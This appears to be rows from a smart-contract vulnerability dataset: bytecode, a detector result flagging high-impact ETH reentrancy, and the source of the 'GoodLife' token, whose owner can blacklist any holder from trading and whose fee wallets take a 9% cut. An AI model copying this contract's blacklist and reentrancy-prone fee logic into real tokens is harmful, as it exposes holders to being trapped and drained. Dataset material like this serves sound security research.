7360e81b606482015260840161062f565b60008111610de35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062f565b6000546001600160a01b03848116911614801590610e0f57506000546001600160a01b03838116911614155b156110f057601554600160a01b900460ff16610ea8576000546001600160a01b03848116911614610ea85760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062f565b601654811115610efa5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062f565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3c57506001600160a01b03821660009081526010602052604090205460ff16155b610f945760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062f565b6015546001600160a01b038381169116146110195760175481610fb684610802565b610fc09190611cbc565b106110195760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062f565b600061102430610802565b60185460165491925082101590821061103d5760165491505b8080156110545750601554600160a81b900460ff16155b801561106e57506015546001600160a01b03868116911614155b80156110835750601554600160b01b900460ff165b80156110a857506001600160a01b03851660009081526005602052604090205460ff16155b80156110cd57506001600160a01b03841660009081526005602052604090205460ff16155b156110ed576110db826112ef565b4780156110eb576110eb47611231565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113257506001600160a01b03831660009081526005602052604090205460ff165b8061116457506015546001600160a01b0385811691161480159061116457506015546001600160a01b03848116911614155b15611171575060006111eb565b6015546001600160a01b03858116911614801561119c57506014546001600160a01b03848116911614155b156111ae57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d957506014546001600160a01b03858116911614155b156111eb57600a54600c55600b54600d555b610a7884848484611478565b6000818484111561121b5760405162461bcd60e51b815260040161062f9190611a2e565b5060006112288486611cd4565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a0573d6000803e3d6000fd5b60006006548211156112d25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062f565b60006112dc6114a6565b90506112e883826114c9565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133757611337611c75565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138b57600080fd5b505afa15801561139f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c39190611ceb565b816001815181106113d6576113d6611c75565b6001600160a01b0392831660209182029290920101526014546113fc9130911684610b97565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611435908590600090869030904290600401611d08565b600060405180830381600087803b15801561144f57600080fd5b505af1158015611463573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114855761148561150b565b611490848484611539565b80610a7857610a78600e54600c55600f54600d55565b60008060006114b3611630565b90925090506114c282826114c9565b9250505090565b60006112e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611670565b600c5415801561151b5750600d54155b1561152257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154b8761169e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157d90876116fb565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ac908661173d565b6001600160a01b0389166000908152600260205260409020556115ce8161179c565b6115d884836117e6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161d91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164b82826114c9565b82101561166757505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116915760405162461bcd60e51b815260040161062f9190611a2e565b5060006112288486611d79565b60008060008060008060008060006116bb8a600c54600d5461180a565b92509250925060006116cb6114a6565b905060008060006116de8e87878761185f565b919e509c509a509598509396509194505050505091939550919395565b60006112e883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f7565b60008061174a8385611cbc565b9050838110156112e85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062f565b60006117a66114a6565b905060006117b483836118af565b306000908152600260205260409020549091506117d1908261173d565b30600090815260026020526040902055505050565b6006546117f390836116fb565b600655600754611803908261173d565b6007555050565b6000808080611824606461181e89896118af565b906114c9565b90506000611837606461181e8a896118af565b9050600061184f826118498b866116fb565b906116fb565b9992985090965090945050505050565b600080808061186e88866118af565b9050600061187c88876118af565b9050600061188a88886118af565b9050600061189c8261184986866116fb565b939b939a50919850919650505050505050565b6000826118be575060006106b5565b60006118ca8385611d9b565b9050826118d78583611d79565b146112e85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062f565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ff57600080fd5b803561196481611944565b919050565b6000602080838503121561197c57600080fd5b823567ffffffffffffffff8082111561199457600080fd5b818501915085601f8301126119a857600080fd5b8135818111156119ba576119ba61192e565b8060051b604051601f19603f830116810181811085821117156119df576119df61192e565b6040529182528482019250838101850191888311156119fd57600080fd5b938501935b82851015611a2257611a1385611959565b84529385019392850192611a02565b98975050505050505050565b600060208083528351808285015260005b81811015611a5b57858101830151858201604001528201611a3f565b81811115611a6d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9657600080fd5b8235611aa181611944565b946020939093013593505050565b600080600060608486031215611ac457600080fd5b8335611acf81611944565b92506020840135611adf81611944565b929592945050506040919091013590565b600060208284031215611b0257600080fd5b81356112e881611944565b8035801515811461196457600080fd5b600060208284031215611b2f57600080fd5b6112e882611b0d565b600060208284031215611b4a57600080fd5b5035919050565b60008060008060808587031215611b6757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9857600080fd5b833567ffffffffffffffff80821115611bb057600080fd5b818601915086601f830112611bc457600080fd5b813581811115611bd357600080fd5b8760208260051b8501011115611be857600080fd5b602092830195509350611bfe9186019050611b0d565b90509250925092565b60008060408385031215611c1a57600080fd5b8235611c2581611944565b91506020830135611c3581611944565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb557611cb5611c8b565b5060010190565b60008219821115611ccf57611ccf611c8b565b500190565b600082821015611ce657611ce6611c8b565b500390565b600060208284031215611cfd57600080fd5b81516112e881611944565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d585784516001600160a01b031683529383019391830191600101611d33565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db557611db5611c8b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206ae451f9af8035db61ff19e7a507bf54e9b0d6e6b552c3e2833381cf443f8c2164736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 361 |
0xE37aA11c23187c5c3b8BAaB466224A2909E5Fa0a | /**
👉 https://t.me/goodlifetoken
/**
*
*
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GoodLife is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private constant _totalFee = 10;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Good Life";
string private constant _symbol = unicode"GL";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint256 _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint256 _multiplier);
event FeeRateUpdated(uint256 _rate);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(
address payable FeeAddress,
address payable marketingWalletAddress
) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(tradingOpen, "Trading not yet enabled.");
if (walletLimitDuration > block.timestamp) {
uint256 walletBalance = balanceOf(address(to));
require(
amount.add(walletBalance) <= _tTotal.mul(2).div(100)
);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && tradingOpen) {
if (contractTokenBalance > 0) {
if (
contractTokenBalance >
balanceOf(uniswapV2Pair).mul(5).div(100)
) {
contractTokenBalance = balanceOf(uniswapV2Pair)
.mul(5)
.div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_totalFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
tradingOpen = true;
walletLimitDuration = block.timestamp + (60 minutes);
}
function setMarketingWallet(address payable marketingWalletAddress)
external
{
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee(address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _FeeAddress);
_noTaxMode = onoff;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == _FeeAddress);
require(team <= 7);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
require(tax <= 1);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if (
bots_[i] != uniswapV2Pair &&
bots_[i] != address(uniswapV2Router)
) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint256) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint256) {
return balanceOf(uniswapV2Pair);
}
} | 0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f7146104fb578063db92dbb614610524578063dd62ed3e1461054f578063e6ec64ec1461058c57610171565b8063c3c8cd80146104a4578063c4081a4c146104bb578063c9567bf9146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806395d89b4114610413578063a9059cbb1461043e578063b515566a1461047b57610171565b8063313ce56711610123578063313ce5671461029a5780633bbac579146102c5578063437823ec146103025780634b740b161461032b5780635d098b38146103545780636fc3eaec1461037d57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd14610209578063273123b71461024657806327f3a72a1461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105b5565b6040516101989190613330565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612e76565b6105f2565b6040516101d59190613315565b60405180910390f35b3480156101ea57600080fd5b506101f3610610565b60405161020091906134b2565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612e27565b610621565b60405161023d9190613315565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612d70565b6106fa565b005b34801561027b57600080fd5b506102846107ea565b60405161029191906134b2565b60405180910390f35b3480156102a657600080fd5b506102af6107fa565b6040516102bc9190613527565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e79190612d70565b610803565b6040516102f99190613315565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612dc2565b610859565b005b34801561033757600080fd5b50610352600480360381019061034d9190612ef3565b610915565b005b34801561036057600080fd5b5061037b60048036038101906103769190612dc2565b610993565b005b34801561038957600080fd5b50610392610b0a565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612d70565b610b7c565b6040516103c891906134b2565b60405180910390f35b3480156103dd57600080fd5b506103e6610bcd565b005b3480156103f457600080fd5b506103fd610d20565b60405161040a9190613247565b60405180910390f35b34801561041f57600080fd5b50610428610d49565b6040516104359190613330565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190612e76565b610d86565b6040516104729190613315565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190612eb2565b610da4565b005b3480156104b057600080fd5b506104b9611026565b005b3480156104c757600080fd5b506104e260048036038101906104dd9190612f45565b6110a0565b005b3480156104f057600080fd5b506104f9611119565b005b34801561050757600080fd5b50610522600480360381019061051d9190612dc2565b611644565b005b34801561053057600080fd5b50610539611700565b60405161054691906134b2565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612deb565b611732565b60405161058391906134b2565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612f45565b6117b9565b005b60606040518060400160405280600981526020017f476f6f64204c6966650000000000000000000000000000000000000000000000815250905090565b60006106066105ff611832565b848461183a565b6001905092915050565b6000683635c9adc5dea00000905090565b600061062e848484611a05565b6106ef8461063a611832565b6106ea85604051806060016040528060288152602001613beb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a0611832565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120579092919063ffffffff16565b61183a565b600190509392505050565b610702611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610786906133f2565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006107f530610b7c565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089a611832565b73ffffffffffffffffffffffffffffffffffffffff16146108ba57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610956611832565b73ffffffffffffffffffffffffffffffffffffffff161461097657600080fd5b80601060156101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d4611832565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b600060056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4b611832565b73ffffffffffffffffffffffffffffffffffffffff1614610b6b57600080fd5b6000479050610b79816120bb565b50565b6000610bc6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b6565b9050919050565b610bd5611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c59906133f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f474c000000000000000000000000000000000000000000000000000000000000815250905090565b6000610d9a610d93611832565b8484611a05565b6001905092915050565b610dac611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e30906133f2565b60405180910390fd5b60005b815181101561102257601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610eb7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610f715750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561100f57600160066000848481518110610fb5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061101a906137da565b915050610e3c565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611067611832565b73ffffffffffffffffffffffffffffffffffffffff161461108757600080fd5b600061109230610b7c565b905061109d81612224565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e1611832565b73ffffffffffffffffffffffffffffffffffffffff161461110157600080fd5b600181111561110f57600080fd5b8060098190555050565b611121611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a5906133f2565b60405180910390fd5b601060149054906101000a900460ff16156111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f590613472565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061128e30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061183a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d457600080fd5b505afa1580156112e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130c9190612d99565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561136e57600080fd5b505afa158015611382573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a69190612d99565b6040518363ffffffff1660e01b81526004016113c3929190613262565b602060405180830381600087803b1580156113dd57600080fd5b505af11580156113f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114159190612d99565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061149e30610b7c565b6000806114a9610d20565b426040518863ffffffff1660e01b81526004016114cb969594939291906132b4565b6060604051808303818588803b1580156114e457600080fd5b505af11580156114f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061151d9190612f6e565b505050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff